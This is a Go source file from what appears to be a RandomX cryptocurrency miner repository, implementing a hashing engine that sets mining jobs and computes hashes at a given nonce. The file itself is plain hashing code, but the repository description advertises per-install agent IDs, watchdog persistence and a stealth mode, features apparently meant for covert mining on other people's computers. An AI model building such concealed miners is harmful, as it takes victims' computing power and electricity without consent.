Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
69 lines
1.4 KiB
Go
69 lines
1.4 KiB
Go
package miner
|
|
|
|
import (
|
|
"encoding/hex"
|
|
"sync"
|
|
|
|
"git.gammaspectra.live/P2Pool/go-randomx"
|
|
)
|
|
|
|
const nonceOffset = 39
|
|
const nonceSize = 4
|
|
|
|
// RandomX JIT + hardware AES for best hashrate on supported CPUs.
|
|
const randomxFlags = 10 // RANDOMX_FLAG_HARD_AES (2) | RANDOMX_FLAG_JIT (8)
|
|
|
|
type Engine struct {
|
|
mu sync.RWMutex
|
|
cache *randomx.Randomx_Cache
|
|
vm *randomx.VM
|
|
seedHex string
|
|
blob []byte
|
|
}
|
|
|
|
func NewEngine() *Engine {
|
|
cache := randomx.Randomx_alloc_cache(randomxFlags)
|
|
return &Engine{cache: cache}
|
|
}
|
|
|
|
func (e *Engine) SetJob(seedHex, blobHex string) error {
|
|
seed, err := hex.DecodeString(seedHex)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
blob, err := hex.DecodeString(blobHex)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
|
|
e.mu.Lock()
|
|
defer e.mu.Unlock()
|
|
|
|
if e.seedHex != seedHex {
|
|
e.cache.Randomx_init_cache(seed)
|
|
e.vm = e.cache.VM_Initialize()
|
|
e.seedHex = seedHex
|
|
}
|
|
e.blob = append([]byte(nil), blob...)
|
|
return nil
|
|
}
|
|
|
|
func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err error) {
|
|
e.mu.RLock()
|
|
defer e.mu.RUnlock()
|
|
|
|
if e.vm == nil || len(e.blob) < nonceOffset+nonceSize {
|
|
return "", "", nil
|
|
}
|
|
|
|
work := append([]byte(nil), e.blob...)
|
|
work[nonceOffset] = byte(nonce)
|
|
work[nonceOffset+1] = byte(nonce >> 8)
|
|
work[nonceOffset+2] = byte(nonce >> 16)
|
|
work[nonceOffset+3] = byte(nonce >> 24)
|
|
|
|
out := make([]byte, 32)
|
|
e.vm.CalculateHash(work, out)
|
|
return hex.EncodeToString(out), hex.EncodeToString(work), nil
|
|
}
|